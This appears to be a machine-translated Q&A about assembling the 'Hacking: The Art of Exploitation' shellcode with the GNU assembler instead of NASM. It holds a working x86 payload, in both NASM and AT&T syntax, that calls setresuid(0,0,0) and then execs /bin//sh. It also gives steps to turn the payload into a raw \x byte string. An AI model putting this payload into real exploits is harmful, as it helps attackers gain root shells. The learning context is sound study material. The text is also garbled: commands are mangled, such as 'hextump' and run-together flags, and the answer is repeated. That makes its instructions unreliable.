Assembly 在外壳代码中使用GNU汇编程序

Assembly 在外壳代码中使用GNU汇编程序,assembly,x86,att,gnu-assembler,shellcode,Assembly,X86,Att,Gnu Assembler,Shellcode,有没有可能在外壳代码中使用GNU汇编程序而不太麻烦?与英特尔语法相比,我更喜欢AT&T语法。我正在研究黑客攻击的艺术,所以他们编写了外壳代码,用NASM进行组装 然而,问题是当使用GNU汇编程序时,我得到了大约480字节大小的大量二进制文件,而NASM的输出大约35字节大小。令人担忧的是,这些字节中有许多似乎是0000,或者是空字节!此外,似乎不可能在没有\u start标签的情况下组装程序,但这定义了一个过程,该过程实际上无法像外壳代码利用一样工作 以下是黑客攻击攻击艺术的代码: BITS 3

有没有可能在外壳代码中使用GNU汇编程序而不太麻烦?与英特尔语法相比,我更喜欢AT&T语法。我正在研究黑客攻击的艺术,所以他们编写了外壳代码,用NASM进行组装

然而,问题是当使用GNU汇编程序时,我得到了大约480字节大小的大量二进制文件,而NASM的输出大约35字节大小。令人担忧的是,这些字节中有许多似乎是
0000
,或者是空字节!此外,似乎不可能在没有
\u start
标签的情况下组装程序,但这定义了一个过程,该过程实际上无法像外壳代码利用一样工作

以下是黑客攻击攻击艺术的代码:

BITS 32
xor eax, eax
xor ebx, ebx
xor ecx, ecx
cdq
mov BYTE al, 0xa4
int 0x80
push BYTE 11
pop eax
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push ecx
mov edx, esp
push ebx
mov ecx, esp
int 0x80
我的译文:

.code32
.section .text
    .globl _start
_start:
    xorl %eax, %eax
    xorl %ebx, %ebx
    xorl %ecx, %ecx
    cltd
    movb $0xa4, %al
    int $0x80
    push $11
    popl %eax
    pushl %ecx
    pushl $0x68732f2f
    pushl $0x6e69622f
    movl %esp, %ebx
    pushl %ecx
    movl %esp, %edx
    pushl %ebx
    movl %esp, %ecx
    int $0x80

使用类似于
as--32 shellcode.s-o shellcode.o
的方法将代码组装到一个对象文件中。然后将它链接到一个可执行文件,将其作为二进制文件输出,并使用
ld-melf_i386--oformat=binary shellcode.o-o shellcode
,文件变大的原因是您可能输出了一个包含ELF头信息的ELF可执行文件。然后,您可以使用
hextump-v-e'\\\\“x”1/1“%02x”“”外壳代码创建一个外壳字符串
Thank man。在这两个文件(作者的汇编NASM外壳代码和我的汇编GNU外壳代码)上运行diff表明它们根本没有区别。使用类似于
as--32 shellcode.s-o shellcode.o的方法将代码汇编到一个对象文件中。然后将它链接到一个可执行文件,将其作为二进制文件输出,并使用
ld-melf_i386--oformat=binary shellcode.o-o shellcode
,文件变大的原因是您可能输出了一个包含ELF头信息的ELF可执行文件。然后,您可以使用
hextump-v-e'\\\\“x”1/1“%02x”“”外壳代码创建一个外壳字符串
Thank man。在这两个文件(作者的汇编NASM外壳代码和我的汇编GNU外壳代码)上运行diff表明它们根本没有区别。